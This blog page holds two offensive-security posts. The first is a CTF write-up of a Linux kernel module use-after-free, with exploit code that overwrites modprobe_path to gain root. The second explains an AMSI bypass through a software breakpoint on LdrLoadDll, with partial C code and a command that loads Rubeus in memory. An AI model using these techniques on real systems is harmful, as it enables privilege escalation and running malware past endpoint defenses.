So I made a challenge for Thcon this year and I wanted to write about it, not just a boring “here’s the solve” but actually share the thought process behind the design. Because honestly, designing a kernel challenge is more fun than solving one sometimes. You get to decide where to hide the needle.

The challenge is called XSSKernel. Yeah, that name is intentionally confusing. There’s no web XSS. It’s a Linux kernel module, the name came from the Lore Story of the CTF, as XSS is a gang of hackers :D…

The goal: pop root, read /flag.

This post is both the design story and the solve writeup. Let’s go.

What the Driver Does

The module creates a character device at /dev/xsskernel. Each open() gives you a bank, an isolated set of 8 memory slots, each 4096 bytes. You interact with it through ioctls:

The interesting part is the cross-fd export/import. You can snapshot your bank, export it as a u64 token, then import that token from a different fd and get a copy of the snapshot in your bank. The token is a global handle, valid across file descriptors and processes.

The Core Structures

The whole driver revolves around three structures. Understanding them is understanding the bug.

struct xss_page {
    void     *data;       // the 4096-byte payload buffer
    atomic_t  refs;       // refcount
    u32       magic;      // 0x58535350 ('XSSP')
    u64       generation;
    char      tag[40];    // cosmetic label
};

struct xss_snapshot {
    char              name[XSS_NAME_LEN];  // 32 bytes
    struct xss_page  *slots[XSS_SLOTS];    // 8 page pointers
    atomic_t          refs;
    struct list_head  list_in_bank;
};

struct xss_bank {
    struct xss_page  *current_slots[XSS_SLOTS];
    struct list_head  snapshots;
    struct mutex      lock;
    u64               generation;
};

One thing to note right away: xss_page is exactly 64 bytes (8+4+4+8+40). That puts it squarely in kmalloc-64. This matters for slab reclaim later.

The lifecycle is straightforward. Pages start with refs = 1. xss_page_get() bumps the refcount and xss_page_put() decrements it, freeing the page when it hits zero:

static void xss_page_put(struct xss_page *p)
{
    if (atomic_dec_and_test(&p->refs)) {
        kfree(p->data);
        kfree(p);
    }
}

When you take a snapshot, each current slot gets a xss_page_get() call, so the page is now shared between the live bank and the snapshot. When you write to a shared slot, the driver detects refs > 1 and copies the page first (Copy-on-Write):

if (!(io->flags & XSS_WRITE_FAST) && atomic_read(&cur->refs) != 1) {
    np = xss_page_alloc(++b->generation);
    memcpy(np->data, cur->data, XSS_PAGE_SIZE);
    b->current_slots[io->slot] = np;
    xss_page_put(cur);
    cur = np;
}

Looks solid. The bug is not here.

The Bug

Look at how xss_op_snapshot stores pages into a new snapshot:

for (i = 0; i < XSS_SLOTS; i++)
    s->slots[i] = xss_page_get(b->current_slots[i]);  // bumps refs

Each page gets a proper xss_page_get(). Good.

Now look at xss_op_import:

/* token holds a struct ref on src; slot pointers are valid. */
for (i = 0; i < XSS_SLOTS; i++)
    new_s->slots[i] = src->slots[i];   // NO xss_page_get

No xss_page_get(). The comment even tries to justify it: “the token holds a struct ref on src, so the slot pointers are valid.” That’s technically true. The xss_snapshot struct src stays alive because the token incremented its refcount. But the pages inside src->slots have no idea that new_s now holds pointers to them. Their refcounts were never bumped.

So new_s holds pointers to pages it doesn’t own. One missing function call. That’s the whole bug.

I designed this to look completely reasonable at a glance. The comment even provides cover. That’s the game.

Refcount Walkthrough

Let’s trace exactly what happens with slot 0 through the exploit setup.

Initial state after open():

page0 allocated, page0.refs = 1
current_slots[0] = page0

After SNAPSHOT "A":

snap_A.slots[0] = xss_page_get(page0)
page0.refs = 2   (current_slots[0] + snap_A.slots[0])
snap_A.refs = 1  (bank list holds it)

After EXPORT "A" to get token T:

atomic_inc(&snap_A.refs)
snap_A.refs = 2  (bank list + token)
page0.refs = 2   (unchanged, export only bumps the snapshot struct ref)

After IMPORT T as "B":

new_s->slots[0] = src->slots[0]   // no xss_page_get!
snap_B.slots[0] = page0
page0.refs = 2   (still 2, import never called xss_page_get)
snap_B.refs = 1  (bank list holds it)

After DELETE "A":

snap_detach_from_bank_locked(snap_A):
  xss_page_put(page0) -> page0.refs: 2 -> 1
  snap_drop_struct(snap_A): snap_A.refs: 2 -> 1  (token still holds it)

After DELETE "B":

snap_detach_from_bank_locked(snap_B):
  xss_page_put(page0) -> page0.refs: 1 -> 0 -> PAGE FREED
    kfree(page0->data)
    kfree(page0)

And current_slots[0] still points to the freed page0. Use-After-Free.

The root cause in one sentence: snap_B held a dangling pointer to a page it never owned, and when it got destroyed it drove the refcount to zero and freed memory that was still reachable.

Primitives From the UAF

Once page0 is freed and current_slots[0] is dangling, every ioctl that touches slot 0 goes through freed memory.

Write through UAF:

cur = b->current_slots[io->slot];   // dangling ptr to freed page0
copy_from_user(cur->data + io->offset, uptr, io->len);

cur->data is whatever byte 0 through 7 of the freed xss_page struct contain now. If the slab recycled that memory for something else, cur->data is whatever that new object placed at offset 0. Writing with XSS_WRITE_FAST skips the refcount check entirely and goes straight to copy_from_user, so we write to wherever cur->data points.

Read through UAF:

Same path but with copy_to_user. If we know what recycled the slab, we can leak its contents.

Verify as oracle:

xss_op_verify does memcmp(pa->data, pb->data, ...). One of the pointers can be a dangling UAF pointer. Useful for checking heap state without a full read.

Full Exploit Path

Step 1: Trigger the UAF

int fd = open("/dev/xsskernel", O_RDWR);

struct xss_io io = { .slot=0, .offset=0, .len=8, .buf=(u64)"AAAAAAAA" };
ioctl(fd, XSS_IOCTL_WRITE, &io);

struct xss_name nm_A = { .name="A" };
ioctl(fd, XSS_IOCTL_SNAPSHOT, &nm_A);

struct xss_export ex = { .name="A" };
ioctl(fd, XSS_IOCTL_EXPORT, &ex);
u64 token = ex.token;

struct xss_import im = { .token=token, .name="B" };
ioctl(fd, XSS_IOCTL_IMPORT, &im);

// delete both: page0 hits zero, current_slots[0] is now dangling
ioctl(fd, XSS_IOCTL_DELETE, &(struct xss_name){ .name="A" });
ioctl(fd, XSS_IOCTL_DELETE, &(struct xss_name){ .name="B" });

At this point current_slots[0] on fd is a dangling pointer to freed kmalloc-64 memory.

Step 2: Reclaim the Freed Slab

xss_page is 64 bytes so it goes to kmalloc-64. We open a fresh fd and write to its slot 0, which calls xss_page_alloc. The SLUB allocator is LIFO-ish for the per-CPU freelist, so the just-freed chunk comes back almost immediately.

For the actual exploit we want to plant a fake xss_page struct in that freed chunk with data pointing to a kernel target. Since data is at offset 0 of the struct, we write an 8-byte kernel address at offset 0 of our fresh slot, and SLUB hands us back that chunk as the recycled page0 on our original fd.

Step 3: Leak Kernel Addresses

The challenge has kptr_restrict=0, so /proc/kallsyms is readable. We grab modprobe_path directly:

FILE *f = fopen("/proc/kallsyms", "r");
unsigned long addr;
char sym[256];
while (fscanf(f, "%lx %*c %255s", &addr, sym) == 2) {
    if (!strcmp(sym, "modprobe_path")) {
        modprobe_path_addr = addr;
        break;
    }
}

No KASLR bypass needed when the symbol table is open.

Step 4: Corrupt modprobe_path

With our fake xss_page.data pointing at modprobe_path, we issue a XSS_WRITE_FAST write on slot 0 of the original fd:

char path[] = "/tmp/pwn";
struct xss_io io = {
    .slot   = 0,
    .offset = 0,
    .len    = sizeof(path),
    .flags  = XSS_WRITE_FAST,
    .buf    = (u64)path,
};
ioctl(fd, XSS_IOCTL_WRITE, &io);
// becomes: copy_from_user(modprobe_path, "/tmp/pwn", 9)

One ioctl. modprobe_path now points at our script.

Step 5: Trigger modprobe

// /tmp/pwn contains:
//   #!/bin/sh
//   cp /flag /tmp/flag && chmod 777 /tmp/flag

int f = open("/tmp/dummy", O_CREAT|O_WRONLY, 0777);
write(f, "\xff\xff\xff\xff", 4);
close(f);
execve("/tmp/dummy", NULL, NULL);
// kernel calls /tmp/pwn as root

Flag is at /tmp/flag.

The Math Behind Spray Probability

The spray step feels intuitive: free a chunk, allocate a chunk of the same size, get the old chunk back. But the probability of success is not always 1, and understanding why matters when your exploit fails in practice.

The modeling approach below is inspired by the paper “Take a Step Further: Understanding Page Spray in Linux Kernel Exploitation” which is genuinely one of the best formal treatments of heap spray mechanics I’ve come across. Worth reading in full.

The SLUB allocator manages kmalloc-64 as a per-CPU LIFO freelist. After kfree(page0), target chunk $T$ sits at the top. In a single-threaded world we get it back immediately. The world is not single-threaded. Tragically.

Between our kfree and our spray, there is a race window $\tau$ where competing threads allocate from the same cache. We model those as a Poisson process (Poisson distribution) with rate $\lambda$:

If an ioctl gets preempted and $\tau$ stretches to $100\ \mu s$ on a moderately loaded system ($\lambda = 10^4$/s), then $\lambda\tau = 1$ and $P \approx 0.368$. Congratulations, your exploit is now a coinflip with extra steps.

Spraying $S$ consecutive chunks fixes this. We succeed when fewer than $S$ competing allocations buried $T$. Using the Poisson CDF (Incomplete gamma function):

To pick $S$ for a target failure rate $\varepsilon$, the Chernoff bound (Chernoff bound) gives:

When competing threads also free during the window, $T$’s position drifts by $N_a - N_f$, which follows the Skellam distribution (Skellam distribution) with variance $2\lambda\tau$ (yes, Skellam is a real name, yes this is a real distribution). Production exploits spray 64 or more chunks because that variance grows linearly with load.

With 2 fresh fds (16 chunks) on this driver under a CTF load $\mu \leq 2$:

Seven nines. If your exploit still fails with those odds, I genuinely cannot help you, that’s a you problem.

Toward Deterministic Spray: Attacking the Sources of Entropy

Increasing $S$ is the lazy answer. It works, but you’re just throwing chunks at the problem and hoping. The interesting question is: can we engineer the heap state so that the spray succeeds with probability 1, regardless of load?

Yes. The answer involves attacking each source of entropy separately. There are three: the race window $\tau$, the competing rate $\lambda$, and the freelist depth $F$ under $T$. Kill all three and the spray becomes deterministic.

Source 1: The Race Window, Shrinking $\tau$ to Near Zero

The race window exists because there are instructions between our kfree and our controlled kmalloc. Every instruction is a preemption point. Every page fault in that path adds microseconds.

mlockall(MCL_CURRENT | MCL_FUTURE) before the exploit run locks all pages into physical memory. This eliminates soft page faults from the critical path. The kernel will not page-fault inside your exploit’s hot loop.

madvise(MADV_POPULATE_WRITE, ...) on your spray buffers pre-faults the userspace pages you will write controlled data into. No fault on first touch during the spray.

Avoid syscall overhead in the critical window. The sequence kfree → kmalloc in userspace is actually two ioctl syscalls. Each has entry/exit overhead of ~100–300 ns. Pre-build all the ioctl argument structs in a local array so the spray loop does nothing except syscall:

// pre-built, cache-hot
struct xss_io ios[SPRAY_N];  // built before triggering the UAF
// critical window:
ioctl(fd, XSS_IOCTL_DELETE, &nm_A);  // kfree happens here
ioctl(fd, XSS_IOCTL_DELETE, &nm_B);  // UAF triggered
for (int i = 0; i < SPRAY_N; i++)
    ioctl(spray_fds[i], XSS_IOCTL_WRITE, &ios[i]);  // spray

With everything pre-faulted and cache-warm, the effective $\tau$ between the last kfree and the first spray kmalloc is in the tens of nanoseconds. At $\lambda = 10^4$/s:

The spray is nearly redundant at this point. But we still do it, because “nearly” is not “exactly.”

Source 2: Competing Rate, Reducing $\lambda$ via CPU Pinning

SLUB maintains one freelist per CPU. Threads on CPU 0 cannot touch the freelist of CPU 1. This is the key insight.

sched_setaffinity() pins your process to a single CPU:

cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(target_cpu, &mask);
sched_setaffinity(0, sizeof(mask), &mask);

Now only threads scheduled on the same CPU compete for your freelist. If the system has $C$ physical CPUs and the load is balanced, the effective competing rate drops from $\lambda$ to $\lambda / C$.

On a 4-core machine: $\lambda_{\text{eff}} = \lambda / 4$. On an 8-core machine: $\lambda / 8$.

Better: if you know which CPU has the lightest load (readable from /proc/stat), pin there. Kernel background threads like kworkers are not uniformly distributed. CPU 0 typically runs more system work; higher-numbered CPUs are often quieter on desktop systems.

The full model with CPU pinning becomes:

Combining with the $\tau$-minimization from above, on an 8-core system with $\tau = 50\ \text{ns}$:

At this point a spray of $S = 2$ is already $P > 0.9999$.

Source 3: Freelist Depth, Grooming to $F = 1$

Even with $\tau$ and $\lambda$ under control, we’re still at the mercy of $F$: the number of free chunks in the per-CPU freelist when the UAF triggers. If other threads freed a lot of kmalloc-64 objects recently, $T$ might not even be at position 1.

The solution is slab grooming: arrange the heap so that when we do kfree(page0), $T$ ends up as the only free object on its slab page.

SLUB organizes objects in slab pages (typically 4 KB or 8 KB pages housing multiple objects). Each slab page has a fixed number of slots. For kmalloc-64 on x86-64, a single slab page holds 64 objects (4096 / 64 = 64 slots, minus a small header).

The grooming algorithm:

Step 1. Exhaust the per-CPU freelist.
        Allocate kmalloc-64 objects in a tight loop until you notice
        SLUB has to fetch a new slab page from the partial list.
        Concretely: open many fds, each forces 8 xss_page allocations.
        Stop when a fresh slab page is pulled in.

Step 2. Fill all but one slot on that fresh slab page.
        Allocate 63 more xss_page objects (63/64 slots filled).
        The page now has exactly 1 free slot.

Step 3. Trigger the UAF.
        kfree(page0) places T into that 1 free slot.
        The slab page now transitions from "partial (1 free)" to
        "partial (1 free after our kfree added it back)"...
        but since no other slot is free, T IS the only choice.

Step 4. Spray.
        The next kmalloc-64 *must* return T.
        There is nothing else on that slab page to return.

The math here is trivial because we engineered away the randomness. The freelist of that slab page has $F = 1$. The probability of getting $T$ is:

No spray needed. No Poisson. No Chernoff bound. Just one allocation and it’s $T$.

The catch: Step 1 and Step 2 require knowing how many objects are already in the per-CPU freelist and on the current slab page. You can estimate this with a timing oracle (measuring kmalloc latency spikes that indicate slab page transitions), or you can simply over-allocate and then free a predictable number back. Over-allocating is the practical approach for a CTF.

The Full Model with All Three Combined

With $\tau$ minimized, $\lambda$ reduced by CPU pinning, and $F = 1$ via grooming:

The position of $T$ in the freelist is deterministically 1 (the only slot). Even if a competing allocation fires during the window:

• If it hits our slab page: it takes $T$. We fail for this attempt.
• But with $\mu_{\text{eff}} \approx 6 \times 10^{-5}$, the probability of even one competing hit is negligible.

The information-theoretic view: spray success is uncertain because we do not know where $T$ landed in the freelist. Each technique reduces the entropy of $T$’s position. Grooming to $F = 1$ reduces it to zero bits. At zero entropy, no spray is needed at all.

• No grooming, $\mu = 1$: $H \approx 1.5$ bits of uncertainty.
• CPU pinning only: $H \approx 0.8$ bits.
• Grooming only ($F = 1$): $H = 0$ bits (deterministic).
• All three combined: $H = 0$ bits, and the tiny residual race probability approaches $\mu_{\text{eff}} \approx 10^{-5}$.

What About CONFIG_SLAB_FREELIST_RANDOM?

This kernel config (enabled on hardened kernels, Android, Ubuntu 22.04+) randomizes the freelist order within each slab page. Instead of LIFO, the order is shuffled at slab page initialization time.

With randomization: $T$’s position is uniform over $[1, F]$, so $P(\text{success} \mid S) = \min(S/F, 1)$. To hit $T$ reliably you now need $S \approx F$, which for kmalloc-64 means spraying all 64 slots. That is a lot of chunks.

The grooming approach kills this mitigation entirely. If $F = 1$, the freelist has one element, randomization does nothing, and $T$ is still the only possible return value. Grooming is not just an optimization, on hardened kernels it is the only reliable path.

This is also why CONFIG_SLAB_FREELIST_RANDOM was not a blocker for this challenge even if it had been enabled: the per-fd allocation pattern (8 xss_page allocs per open) makes it straightforward to groom the slab into a deterministic state before pulling the trigger.

Unintended Paths and What They Reveal

This section is the more interesting one for me. When you design a challenge, people find paths you never thought of, and those paths are usually more educational than the intended one. Here are the ones I had in mind while building the hardening, plus some I discovered after.

Double Free via Multiple Imports

The import path does not prevent you from importing the same token twice. Import token T as both “B” and “C” and both snapshots now hold pointers to page0 without bumping its refcount. The accounting then becomes:

page0.refs = 2  (current_slots[0] + snap_A)
import T as B -> page0.refs = 2  (no bump)
import T as C -> page0.refs = 2  (no bump)

delete A -> page0.refs: 2 -> 1
delete B -> page0.refs: 1 -> 0 -> kfree(page0->data), kfree(page0)
delete C -> page0.refs: 0 -> -1 -> kfree on already-freed memory

That is a double free. In SLUB, double-freeing a chunk corrupts the freelist. A controlled double free can give you a chunk at an arbitrary address if you can manipulate the freelist state. This is arguably a stronger primitive than the intended path, and it came entirely out of the same missing xss_page_get.

kmalloc-64 Spray Without the Usual Tools

The usual way to spray kmalloc-64 from userspace is through SOCK_DIAG or AF_ALG sockets, both of which go through CONFIG_CRYPTO_USER_API. I disabled those in the kernel config for exactly this reason and left a troll message in the log for anyone who tries. But kmalloc-64 is everywhere in the kernel.

Open more /dev/xsskernel fds. Each open() allocates 8 xss_page structs in kmalloc-64. Open 16 fresh fds and you spray 128 chunks. You can write controlled data into them through their slot 0. This is the cleanest approach and it keeps you entirely within the driver’s own API.

Pipe buffers. struct pipe_buffer is 40 bytes, so it lands in kmalloc-64. Create a large number of pipes and write one byte to each to force the allocation. Reading from the pipe frees it, giving you controlled release timing.

setxattr. On most kernels, setxattr with a 64-byte value allocates a kmalloc-64 chunk for the value buffer. The allocation is ephemeral but with timing control you can use it for race-based attacks. Not useful here without a race, but worth knowing.

The key insight is that kmalloc-64 is a shared pool. Anything that allocates a 33 to 64 byte struct ends up there. Finding the right object is about knowing your kernel data structures and their sizes.

XSS_WRITE_FAST as a Standalone Angle

The XSS_WRITE_FAST flag was designed as a performance optimization: it skips the CoW check and writes directly into a slot even if that slot is shared. The comment in the code says “caller asserts the slot is private.” In a CTF challenge, “caller asserts” is a red flag.

Even without the UAF you can abuse this. After a snapshot is taken, current_slots[0] and snap.slots[0] both point to the same xss_page with refs = 2. A FAST write goes straight to copy_from_user(cur->data + offset, ...) with no refcount check, corrupting the snapshot in place.

On its own that is just data corruption inside the driver. But combined with the UAF, FAST write is what makes the exploit work: the UAF gives you a dangling pointer to a recycled chunk, and FAST write lets you use that pointer without triggering the CoW branch that would swap out the slot.

The Read Primitive as an Information Leak

After the UAF and before spray, current_slots[0] points to a freed kmalloc-64 chunk. If SLUB has already handed that chunk to something else, reading through slot 0 with XSS_IOCTL_READ copies the contents of that new object to userspace.

In environments where kptr_restrict=1, this is how you do your kernel pointer leak: trigger the UAF, wait for the slab to be recycled by an object containing a kernel address (a linked list pointer, a function pointer, anything), read slot 0, extract the address. I set kptr_restrict=0 to make the challenge accessible, but against a production kernel this read primitive is the first thing you reach for.

The Verify Oracle

xss_op_verify compares two slots byte by byte with memcmp. One of those slots can be the UAF slot. This lets you probe heap state without leaking data to userspace: compare the UAF slot against a slot with known content and you get a yes/no answer about a specific byte.

Not useful when you have the read primitive, but in a more restricted environment where XSS_IOCTL_READ were gated behind a check, the verify oracle lets you do a byte by byte leak with 256 comparisons per byte. Slow but it works, and it is a fun technique.

The Fix

One line:

// in xss_op_import, change:
new_s->slots[i] = src->slots[i];
// to:
new_s->slots[i] = xss_page_get(src->slots[i]);

That is it. xss_page_get bumps the refcount so the imported snapshot actually owns its page references. The UAF, the double free, all of it disappears with 16 extra characters.

The bug class is inspired by a real driver vulnerability I ran across during source review work. Same primitive, different surface. Refcount bugs in kernel drivers that share objects across file descriptor boundaries are genuinely underexplored. Most reviewers check write and ioctl paths for bounds violations and miss the lifecycle edges entirely.

Conclusion

Designing a kernel challenge is basically writing a tiny OS component with an intentional lifecycle bug hidden inside normal-looking code. The exploit path is: find the missing refcount bump, cause a use-after-free, reclaim the freed slab with controlled content, corrupt a kernel pointer, arbitrary write, root.

The real skill tested here is not “can you exploit a UAF.” That is a known technique with a known playbook. The skill is “can you read 500 lines of driver code and find the one place where a ref is not bumped.” Everything else follows from that.

But the more I think about it, the more I appreciate the unintended paths. The double free from multiple imports is a cleaner primitive. The read oracle approach teaches you how UAF leaks work in restricted environments. The FAST write flag is a footgun that deserves its own writeup someday.

Thanks to the Thcon crew for running the infra. Hope people had fun or were properly frustrated.

0x3lk

I was messing around with the .NET CLR one day, loading assemblies, poking at entry points, and at some point I started wondering what actually happens between Assembly.Load() and execution? That curiosity eventually dragged me into AV/EDR internals, and once you go down that road, you don’t really come back.

The thing that surprised me most wasn’t how complex these defenses are. It’s how close they are. AMSI, ETW hooks, EDR callbacks, they all run in the same process as your code. Same address space. That means one question keeps coming up: if it runs next to me, can I stop it before it runs?

Turns out, a single byte answers that question. 0xCC is something I’d only ever thought of as a debugger thing. But once you realize you can place it anywhere, read the register context on the exception, and redirect execution however you want, it stops being a debugger tool and starts being something else entirely. This post is about that. I’m using AMSI as the concrete example, but the idea applies anywhere a security component loads through a predictable function.

The Primitive: Software Breakpoints

0xCC is INT3. One byte. When the CPU hits it, execution stops and an EXCEPTION_BREAKPOINT is raised. Every debugger in existence uses this: set a breakpoint, CPU traps, you inspect state, you continue.

What makes it interesting from an offensive angle is what’s available at the moment of the trap: the full x64 register context. RCX, RDX, R8, R9 are exactly the first four arguments of whatever function you patched. You can read them, modify them, fake the return value in RAX, and jump wherever you want. No debug registers touched. No NtSetContextThread(CONTEXT_DEBUG_REGISTERS). No ETW trace for that. Just a byte write and an exception handler.

The thing that clicked for me: controlling the exception handler means controlling every call to every function you’ve patched. It’s not just a hook, it’s a policy engine.

What is AMSI?

AMSI is a Windows interface that allows applications (like PowerShell, WMI, JScript, VBScript, and the .NET runtime) to submit memory buffers, scripts, in-memory assemblies, or dynamically compiled code to registered antivirus engines for scanning before execution.

It operates at the user-mode API level via AmsiScanBuffer(), enabling real-time malware detection regardless of the source (file, stream, or memory).

So loading an assembly is not that easy anymore. PowerShell.Invoke(), .NET Assembly.Load(byte[]), Add-Type all trigger AMSI and spawn amsi.dll directly in your process.

Well, bypassing it is easy and not easy at the same time. Regardless of many techniques in the Red Team area, EDRs and detection systems are too fast to enhance their defenses and stay ahead.

The Problem with Traditional AMSI Patching

A famous technique for bypassing AMSI is to patch it: locate AmsiScanBuffer() in the process address space and either:

• Patch the return address to skip the jump to AmsiScanBuffer()
• Patch its arguments, feeding it a null byte instead of the malicious code

But it’s heavily detected due to:

• Suspicious API call sequence: VirtualProtect then WriteProcessMemory then GetProcAddress("AmsiScanBuffer")
• YARA rules matching known byte patterns like 48 31 C0 C3 (xor rax,rax; ret)

So I started searching for a way to kill amsi.dll entirely, not let it attach to my process at all. That’s when I found BlindSide.

BlindSide Technique

BlindSide sets a hardware breakpoint (DR0) on LdrLoadDll in a debugged child process, blocks all DLL loads after ntdll.dll, then copies the unhooked .text section into the target process to unhook EDR-instrumented syscalls.

Interesting, but it came with serious problems.

Problems with BlindSide (HWBP)

1. Debug registers are flagged.

Touching DR0 through DR7 is heavily monitored. NtSetContextThread() calls EtwWrite internally, and the usage is recorded by ETW and picked up by EDRs.

2. BlindSide lets amsi.dll load first, then unhooks ntdll (overkill), which can be caught by the same YARA rules used for patching.

3. Putting LdrLoadDll or AmsiScanBuffer addresses directly into debug registers is trivially inspectable by EDRs.

My Approach

I tried to fix all of the above. The core idea: stop amsi.dll before it even loads using a software breakpoint (0xCC) instead of a hardware one.

Key improvements:

The LdrLoadDll function becomes a firewall. Any attempt to load amsi.dll gets silently killed.

How LdrLoadDll Works (x64 Calling Convention)

NTSTATUS LdrLoadDll(
    PWCHAR          PathToFile,      // RCX: optional search path
    ULONG           Flags,           // RDX
    PUNICODE_STRING ModuleFileName,  // R8:  DLL name (L"amsi.dll")
    PHANDLE         ModuleHandle     // R9:  output: base address
);

Called by LoadLibrary, the CLR, PowerShell, etc. It resolves the path, maps the DLL, and runs DllMain. If this fails, the DLL never loads.

Exploitation Strategy

Step-by-step process:

Implementation Details

1. Remote Memory R/W

ReadProcessMemory + WriteProcessMemory + FlushInstructionCache for stealthy cross-process access:

static int read_target_memory(LPCVOID addr, void *buf, SIZE_T size) {
    SIZE_T read = 0;
    return ReadProcessMemory(g_process_handle, addr, buf, size, &read) && read == size;
}

static int write_target_memory(LPVOID addr, const void *buf, SIZE_T size) {
    SIZE_T written = 0;
    return WriteProcessMemory(g_process_handle, addr, buf, size, &written) &&
           written == size &&
           FlushInstructionCache(g_process_handle, addr, size);
}

2. 1-Byte Modification at LdrLoadDll

static int install_interception_point(LPVOID func_addr, BYTE *backup) {
    BYTE current;
    BYTE int3 = 0xCC;
    if (!read_target_memory(func_addr, &current, 1)) return 0;
    *backup = current;
    return modify_executable_memory(func_addr, &int3, 1);
}

3. Intercept and Kill amsi.dll

if (check_for_specific_module(module_name_buffer)) {
    // Null out ModuleHandle (R9)
    ULONGLONG null_handle = 0;
    write_target_memory((LPVOID)thread_context.R9, &null_handle, 8);

    // Force failure
    thread_context.Rax = STATUS_DLL_NOT_FOUND;  // 0xC0000135

    // Jump to return address (bypass function body)
    ULONGLONG ret_addr;
    read_target_memory((LPCVOID)thread_context.Rsp, &ret_addr, 8);
    thread_context.Rsp += 8;
    thread_context.Rip = ret_addr;
}

4. Single-Step Re-arming (Trap Flag)

The 0xCC is a one-time trap. After intercepting a non-target DLL, we re-arm it using the Trap Flag (TF) in EFLAGS. This triggers a SINGLE_STEP exception after the next instruction, where we restore the 0xCC. Self-healing, minimal footprint.

static void prepare_single_step_execution(HANDLE thread, CONTEXT ctx, DWORD tid) {
    ctx.EFlags |= 0x100;  // Set Trap Flag (TF)
    SetThreadContext(thread, &ctx);
    g_awaiting_reactivation_id = tid;
    CloseHandle(thread);
}

5. Finding LdrLoadDll (ASLR-Safe)

HMODULE local_ntdll = GetModuleHandleA("ntdll.dll");
FARPROC local_LdrLoadDll = GetProcAddress(local_ntdll, "LdrLoadDll");
uintptr_t offset = (uintptr_t)local_LdrLoadDll - (uintptr_t)local_ntdll;

g_intercept_function_addr = (BYTE*)g_target_module_base + offset;

Since ASLR randomizes the base, but ntdll.dll loads at the same base across all processes on the same boot, the offset from the local process is valid for the target.

For security considerations, only the conceptual approach and partial code are shared here.

Test on Windows 10 with Updated MDE

Without Bypass

A normal PowerShell session where amsi.dll is loaded and active. Trying to run Invoke-Mimikatz or load a flagged assembly is blocked immediately.

With Bypass

amsi.dll is never welcomed into the process. The DLL load is intercepted at LdrLoadDll, the return is faked as STATUS_DLL_NOT_FOUND, and PowerShell runs without AMSI.

Real-World Test: Loading Rubeus In-Memory

The real challenge: load a flagged .NET assembly entirely in memory using PowerShell, without writing it to disk.

We convert Rubeus.exe bytes to Base64 and invoke its entry point:

[System.Reflection.Assembly]::Load(
    [System.Convert]::FromBase64String("BASE64")
).EntryPoint.Invoke($null, @(,[string[]]@()))

Without bypass: AMSI kills the load immediately.

With bypass: Rubeus.exe loads cleanly into memory, no disk write, no AMSI scan.

Conclusion

One byte. That’s what it took to keep amsi.dll out of a PowerShell process. No debug registers, no patching AmsiScanBuffer, no YARA-bait byte sequences. Just 0xCC at LdrLoadDll, an exception handler that checks the DLL name, and a faked STATUS_DLL_NOT_FOUND return.

AMSI is the example here, but I want to be honest: I find this technique more interesting for what it says about the general problem than for the AMSI bypass specifically. Security DLLs load through known functions. Those functions have predictable calling conventions. If you’re in the same address space, and you are always, you can intercept them. ETW providers, EDR callbacks, inspection hooks, the same 0xCC logic applies. You just need to know where to put the byte.

I still have a bunch of ideas in this space I want to write about. More coming soon.

• Pentesting
• Red Team (Malware Development, AV/EDR Evasion)
• Kernel Exploitation
• Reverse Engineering & Vulnerability Hunting

Apprentice @ Orange Cyberdefense.

Always open to discussing Offensive Security.